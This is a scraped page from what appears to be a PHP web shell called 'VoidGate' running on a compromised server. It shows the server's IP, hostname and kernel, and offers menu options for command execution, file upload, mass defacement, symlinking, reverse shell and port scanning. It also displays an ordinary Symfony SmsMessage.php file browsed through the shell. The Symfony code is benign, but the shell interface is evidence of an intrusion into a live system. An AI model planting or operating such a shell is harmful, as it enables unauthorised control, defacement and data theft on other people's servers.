ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
notifier
/
Message
/
Viewing: SmsMessage.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Notifier\Message; use Symfony\Component\Notifier\Exception\InvalidArgumentException; use Symfony\Component\Notifier\Notification\Notification; use Symfony\Component\Notifier\Recipient\SmsRecipientInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ final class SmsMessage implements MessageInterface { private $transport; private $subject; private $phone; public function __construct(string $phone, string $subject) { if ('' === $phone) { throw new InvalidArgumentException(sprintf('"%s" needs a phone number, it cannot be empty.', __CLASS__)); } $this->subject = $subject; $this->phone = $phone; } public static function fromNotification(Notification $notification, SmsRecipientInterface $recipient): self { return new self($recipient->getPhone(), $notification->getSubject()); } /** * @return $this */ public function phone(string $phone): self { if ('' === $phone) { throw new InvalidArgumentException(sprintf('"%s" needs a phone number, it cannot be empty.', static::class)); } $this->phone = $phone; return $this; } public function getPhone(): string { return $this->phone; } public function getRecipientId(): string { return $this->phone; } /** * @return $this */ public function subject(string $subject): self { $this->subject = $subject; return $this; } public function getSubject(): string { return $this->subject; } /** * @return $this */ public function transport(?string $transport): self { $this->transport = $transport; return $this; } public function getTransport(): ?string { return $this->transport; } public function getOptions(): ?MessageOptionsInterface { return null; } }
Coded With 💗 by
0x6ick